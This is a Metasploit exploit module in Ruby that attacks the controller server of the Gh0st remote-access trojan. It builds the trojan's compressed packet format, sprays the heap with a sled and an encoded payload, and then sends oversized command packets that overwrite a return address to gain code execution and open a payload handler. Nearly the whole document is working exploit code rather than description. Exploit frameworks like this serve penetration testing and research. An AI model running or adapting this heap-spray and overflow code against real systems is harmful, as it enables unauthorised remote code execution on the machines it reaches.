1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
require 'zlib'
7

8
class MetasploitModule < Msf::Exploit::Remote
9
  Rank = NormalRanking
10
  include Msf::Exploit::Remote::Tcp
11

12
  def initialize(info = {})
13
    super(
14
      update_info(
15
        info,
16
        'Name' => 'Gh0st Client buffer Overflow',
17
        'Description' => %q{
18
          This module exploits a Memory buffer overflow in the Gh0st client (C2 server)
19
        },
20
        'Author' => 'Professor Plum',
21
        'License' => MSF_LICENSE,
22
        'References' => [
23
        ],
24
        'DefaultOptions' => {
25
          'EXITFUNC' => 'thread',
26
          'AllowWin32SEH' => true
27
        },
28
        'Payload' => {
29
          'Space' => 1000,
30
          'BadChars' => '',
31
          'EncoderType' => Msf::Encoder::Type::AlphanumMixed
32
        },
33
        'Platform' => 'win',
34
        'DisclosureDate' => '2017-07-27',
35
        'Targets' => [
36
          ['Gh0st Beta 3.6', { 'Ret' => 0x06001010 }]
37
        ],
38
        'Privileged' => false,
39
        'DefaultTarget' => 0,
40
        'Notes' => {
41
          'Reliability' => UNKNOWN_RELIABILITY,
42
          'Stability' => UNKNOWN_STABILITY,
43
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
44
        }
45
      )
46
    )
47

48
    register_options(
49
      [
50
        OptString.new('MAGIC', [true, 'The 5 char magic used by the server', 'Gh0st']),
51
        Opt::RPORT(80)
52
      ]
53
    )
54
  end
55

56
  def make_packet(id, data)
57
    msg = id.chr + data
58
    compressed = Zlib::Deflate.deflate(msg)
59
    datastore['MAGIC'] + [13 + compressed.size].pack('V') + [msg.size].pack('V') + compressed
60
  end
61

62
  def validate_response(data)
63
    if data.nil?
64
      print_status('Server closed connection')
65
      return false
66
    end
67
    if data.empty?
68
      print_status('No response received')
69
      return false
70
    end
71
    if data.size < 13
72
      print_status('Invalid packet')
73
      print_status(data)
74
      return false
75
    end
76
    mag, pktlen, msglen = data[0..13].unpack('a' + datastore['MAGIC'].size.to_s + 'VV')
77
    if mag.index(datastore['MAGIC']) != 0
78
      print_status('Bad magic: ' + mag[0..datastore['MAGIC'].size])
79
      return false
80
    end
81
    if pktlen != data.size
82
      print_status('Packet size mismatch')
83
      return false
84
    end
85
    msg = Zlib::Inflate.inflate(data[13..data.size])
86
    if msg.size != msglen
87
      print_status('Packet decompress failure')
88
      return false
89
    end
90
    return true
91
  end
92

93
  def check
94
    connect
95
    sock.put(make_packet(101, "\x00")) # heartbeat
96
    if validate_response(sock.get_once || '')
97
      return Exploit::CheckCode::Appears
98
    end
99

100
    Exploit::CheckCode::Safe
101
  end
102

103
  def exploit
104
    print_status("Trying target #{target.name}")
105
    print_status('Spraying heap...')
106
    for i in 0..100
107
      connect
108
      sock.put(make_packet(101, "\x90" * 3 + "\x90\x83\xc0\x05" * 1024 * 1024 + payload.encoded))
109
      if not validate_response(sock.get_once)
110
        disconnect
111
        return
112
      end
113
    end
114

115
    for i in 103..107
116
      print_status("Trying command #{i}...")
117
      begin
118
        connect
119
        sploit = make_packet(i, "\0" * 1064 + [target['Ret'] - 0xA0].pack('V') + 'a' * 28)
120
        sock.put(sploit)
121
        if validate_response(sock.get_once)
122
          next
123
        end
124

125
        sleep(0.1)
126
        break
127
      rescue EOFError
128
        print_status('Invalid')
129
      end
130
    end
131
    handler
132
    disconnect
133
  end
134
end
135

136